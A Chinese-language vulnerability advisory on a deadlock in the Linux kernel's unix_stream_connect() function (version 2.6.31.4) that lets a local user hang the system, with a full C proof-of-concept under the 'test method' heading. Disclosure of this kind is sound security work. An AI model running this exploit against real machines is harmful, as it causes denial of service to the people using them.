漏洞起因
输入验证错误
影响系统
Linux kernel 2.6.31.4
不受影响系统
危害
本地攻击者可以利用漏洞使系统挂起。
攻击所需条件
攻击者必须访问Linux。
漏洞信息
Linux是一款开放源代码的操作系统。
Linux net/unix/af_unix.c文件包含的"unix_stream_connect()"函数中存在一个死锁错误,通过执行部分套接字操作可导致拒绝服务攻击。
测试方法
int main(void)
{
int ret;
int csd;
int lsd;
struct sockaddr_un sun;
/* make an abstruct name address (*) */
memset(&sun, 0, sizeof(sun));
sun.sun_family = PF_UNIX;
sprintf(&sun.sun_path[1], "%d", getpid());
/* create the listening socket and shutdown */
lsd = socket(AF_UNIX, SOCK_STREAM, 0);
bind(lsd, (struct sockaddr *)&sun, sizeof(sun));
listen(lsd, 1);
shutdown(lsd, SHUT_RDWR);
/* connect loop */
alarm(15); /* forcely exit the loop after 15 sec */
for (;;) {
csd = socket(AF_UNIX, SOCK_STREAM, 0);
ret = connect(csd, (struct sockaddr *)&sun, sizeof(sun));
if (-1 == ret) {
perror("connect()");
break;
}
puts("Connection OK");
}
return 0;
}
厂商解决方案
目前没有详细解决方案提供:
http://www.kernel.org/
漏洞提供者
Tomoki Sekiyama
0 条评论。